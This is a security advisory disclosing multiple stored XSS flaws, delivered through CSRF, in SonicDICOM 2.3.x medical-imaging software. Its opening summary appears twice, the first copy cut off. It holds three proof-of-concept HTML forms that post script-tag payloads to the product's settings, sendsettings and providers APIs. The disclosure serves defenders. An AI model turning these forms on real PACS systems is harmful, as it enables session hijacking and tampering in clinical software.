### Summary SonicDICOM is PACS software that combines the capabilities of DICOM Server with web browser based DICOM Viewer. ### Description The application suffers from multiple stored XSS vulnerabilities. Input passed to several API POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. ### Vendor JIUN Corporation - https://www.sonicdicom.com ### Affected Version 2.3.2 and 2.3.1 ### Tested On Microsoft-HTTPAPI/2.0 ### PoC CSRF Stored XSS via value parameter in settings API: ``` <html> <body> <form action="http://172.19.0.214/viewer/api/settings/add" method="POST"> <input type="hidden" name="id" value="testingus" /> <input type="hidden" name="key" value="viewer.display.overlay.tl" /> <input type="hidden" name="value"...
### Summary SonicDICOM is PACS software that combines the capabilities of DICOM Server with web browser based DICOM Viewer. ### Description The application suffers from multiple stored XSS vulnerabilities. Input passed to several API POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. ### Vendor JIUN Corporation - https://www.sonicdicom.com ### Affected Version 2.3.2 and 2.3.1 ### Tested On Microsoft-HTTPAPI/2.0 ### PoC CSRF Stored XSS via value parameter in settings API: ``` <html> <body> <form action="http://172.19.0.214/viewer/api/settings/add" method="POST"> <input type="hidden" name="id" value="testingus" /> <input type="hidden" name="key" value="viewer.display.overlay.tl" /> <input type="hidden" name="value" value="{"angle":{"item_name":"Angle","display_name":"\"><script>alert(1)</script>"}}" /> <input type="submit" value="Request #1" /> </form> </body> </html> ``` CSRF Stored XSS via Name parameter in sendsettings API: ``` <html> <body> <form action="http://172.19.0.214/viewer/api/sendsettings/create" method="POST"> <input type="hidden" name="Name" value=""><script>prompt(2)</script>" /> <input type="hidden" name="IPAddress" value="1.1.1.1" /> <input type="hidden" name="Port" value="123" /> <input type="hidden" name="CalledAETitle" value="asd" /> <input type="hidden" name="CallingAETitle" value="dsa" /> <input type="submit" value="Request #2" /> </form> </body> </html> ``` CSRF Stored XSS via Name parameter in providers API: ``` <html> <body> <form action="http://172.19.0.214/viewer/api/providers/create" method="POST"> <input type="hidden" name="Name" value=""><script>confirm(2)</script>" /> <input type="hidden" name="Port" value="123" /> <input type="hidden" name="AETitle" value="ZSL" /> <input type="hidden" name="AllowAnonymousUsers" value="true" /> <input type="hidden" name="IsAnonymous" value="true" /> <input type="submit" value="Request #3" /> </form> </body> </html> ```